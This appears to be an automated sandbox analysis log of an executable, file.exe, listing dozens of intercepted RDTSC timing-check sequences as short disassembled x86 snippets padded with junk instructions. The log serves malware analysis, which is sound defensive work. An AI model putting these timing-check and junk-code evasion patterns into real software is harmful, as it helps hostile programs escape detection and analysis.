Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5C8F second address: DB5C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5F1A second address: DB5F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5F21 second address: DB5F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BC8515E9h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB69A7 second address: DB69BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BAh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB9672 second address: DB9689 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF0BC8515D6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF0BC8515DBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB9689 second address: DB96A0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF0BCB462C2h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB96A0 second address: DB96A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB981B second address: DB9821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB9821 second address: DB9827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB9827 second address: DB9847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FF0BCB462C6h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE536 second address: DBE53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCAEAC second address: DCAEBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007FF0BCB462B6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCAEBE second address: DCAEC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCAEC2 second address: DCAF17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c jmp 00007FF0BCB462BAh 0x00000011 pop eax 0x00000012 push ebx 0x00000013 jne 00007FF0BCB462B6h 0x00000019 jg 00007FF0BCB462B6h 0x0000001f pop ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF0BCB462C8h 0x00000027 jmp 00007FF0BCB462C1h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD83B9 second address: DD83BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD83BF second address: DD83C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD83C3 second address: DD83C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD83C7 second address: DD83EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BCB462C4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 js 00007FF0BCB462B6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD83EE second address: DD83F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD83F3 second address: DD83F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC75C second address: DDC760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC760 second address: DDC770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007FF0BCB462B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5233 second address: DF5267 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FF0BC8515D6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b js 00007FF0BC8515D6h 0x00000011 popad 0x00000012 jmp 00007FF0BC8515E7h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push edx 0x0000001a jp 00007FF0BC8515DCh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF40DA second address: DF40E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF435C second address: DF4397 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007FF0BC8515E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007FF0BC8515D6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4503 second address: DF4511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0BCB462BAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4511 second address: DF451B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF48EF second address: DF490A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF0BCB462BCh 0x00000008 jmp 00007FF0BCB462BAh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF490A second address: DF496C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FF0BC8515E0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007FF0BC8515DAh 0x00000016 jmp 00007FF0BC8515E4h 0x0000001b popad 0x0000001c pushad 0x0000001d jns 00007FF0BC8515D6h 0x00000023 pushad 0x00000024 popad 0x00000025 jmp 00007FF0BC8515E7h 0x0000002a je 00007FF0BC8515D6h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4C19 second address: DF4C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jnc 00007FF0BCB462B6h 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 jp 00007FF0BCB462B6h 0x0000001e popad 0x0000001f jnc 00007FF0BCB462B8h 0x00000025 push eax 0x00000026 push edx 0x00000027 jbe 00007FF0BCB462B6h 0x0000002d push ebx 0x0000002e pop ebx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9542 second address: DF9546 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBFBD second address: DFBFC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC159 second address: DFC15E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC20F second address: DFC26D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ecx 0x0000000e jmp 00007FF0BCB462C8h 0x00000013 pop ecx 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 jmp 00007FF0BCB462C3h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FF0BCB462BDh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC26D second address: DFC27A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF0BC8515D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC4B3 second address: DFC4B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC4B9 second address: DFC4BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC4BD second address: DFC4C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD802 second address: DFD817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BC8515E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD817 second address: DFD833 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jg 00007FF0BCB462B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jne 00007FF0BCB462B6h 0x00000015 js 00007FF0BCB462B6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD833 second address: DFD839 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF5D8 second address: DFF5EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BCB462BDh 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF5EA second address: DFF5F4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF0BC8515E2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF5F4 second address: DFF5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490F47 second address: 5490F85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 pushfd 0x00000007 jmp 00007FF0BC8515E8h 0x0000000c adc eax, 7F0B4868h 0x00000012 jmp 00007FF0BC8515DBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov ax, di 0x00000022 mov dl, 1Bh 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480D97 second address: 5480DC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF0BCB462BEh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480DC7 second address: 5480DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480DCB second address: 5480DD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480DD1 second address: 5480E16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF0BC8515DDh 0x00000013 sbb si, C306h 0x00000018 jmp 00007FF0BC8515E1h 0x0000001d popfd 0x0000001e mov di, cx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480E16 second address: 5480E32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0BCB462C8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548077A second address: 5480792 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0BC8515E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480792 second address: 54807C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FF0BCB462C6h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov dl, cl 0x00000016 push eax 0x00000017 push edx 0x00000018 mov edi, 37EC41CCh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54807C6 second address: 54807D5 instructions: 0x00000000 rdtsc 0x00000002 movsx edx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov bx, si 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54806DD second address: 54806E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54806E2 second address: 54806E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480466 second address: 5480498 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF0BCB462C8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480498 second address: 548049C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548049C second address: 54804A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A029D second address: 54A02AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0BC8515DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A02AD second address: 54A02BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax], 00000000h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A02BE second address: 54A02C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A02C4 second address: 54A02D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0BCB462BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A02D6 second address: 54A02DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A02DA second address: 54A02F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax+04h], 00000000h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF0BCB462BAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490DEC second address: 5490E28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF0BC8515E6h 0x00000009 or eax, 7E03D308h 0x0000000f jmp 00007FF0BC8515DBh 0x00000014 popfd 0x00000015 push esi 0x00000016 pop edx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov cl, bl 0x00000020 mov si, 7C6Fh 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490E28 second address: 5490E67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF0BCB462BBh 0x00000009 adc ecx, 28427BFEh 0x0000000f jmp 00007FF0BCB462C9h 0x00000014 popfd 0x00000015 mov cx, 4847h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490E67 second address: 5490E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0BC8515DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490E79 second address: 5490E7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490E7D second address: 5490E8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490E8C second address: 5490E90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490E90 second address: 5490E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490E96 second address: 5490EB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d mov edi, eax 0x0000000f mov ebx, ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A00F5 second address: 54A00FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C008C second address: 54C0092 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0092 second address: 54C0096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0096 second address: 54C00A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C00A5 second address: 54C00B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C00B4 second address: 54C00BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C00BA second address: 54C00BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C00BE second address: 54C00C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C00C2 second address: 54C00D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, ax 0x00000010 push esi 0x00000011 pop ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C00D5 second address: 54C0125 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, dl 0x00000005 mov ch, A7h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007FF0BCB462C0h 0x00000010 mov dword ptr [esp], ecx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FF0BCB462BEh 0x0000001a add cl, FFFFFFB8h 0x0000001d jmp 00007FF0BCB462BBh 0x00000022 popfd 0x00000023 pushad 0x00000024 push eax 0x00000025 pop edx 0x00000026 mov dx, si 0x00000029 popad 0x0000002a popad 0x0000002b mov eax, dword ptr [76FB65FCh] 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0125 second address: 54C0129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0129 second address: 54C012D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C012D second address: 54C0133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0133 second address: 54C0159 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 mov ecx, 1994C4A9h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test eax, eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007FF0BCB462C1h 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0159 second address: 54C015E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C015E second address: 54C0202 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FF12E5B9AAEh 0x0000000f jmp 00007FF0BCB462C0h 0x00000014 mov ecx, eax 0x00000016 jmp 00007FF0BCB462C0h 0x0000001b xor eax, dword ptr [ebp+08h] 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FF0BCB462C7h 0x00000025 and ax, 824Eh 0x0000002a jmp 00007FF0BCB462C9h 0x0000002f popfd 0x00000030 push ecx 0x00000031 movsx edi, cx 0x00000034 pop eax 0x00000035 popad 0x00000036 and ecx, 1Fh 0x00000039 jmp 00007FF0BCB462BFh 0x0000003e ror eax, cl 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FF0BCB462C5h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0202 second address: 54C0227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF0BC8515DDh 0x00000011 rdtsc
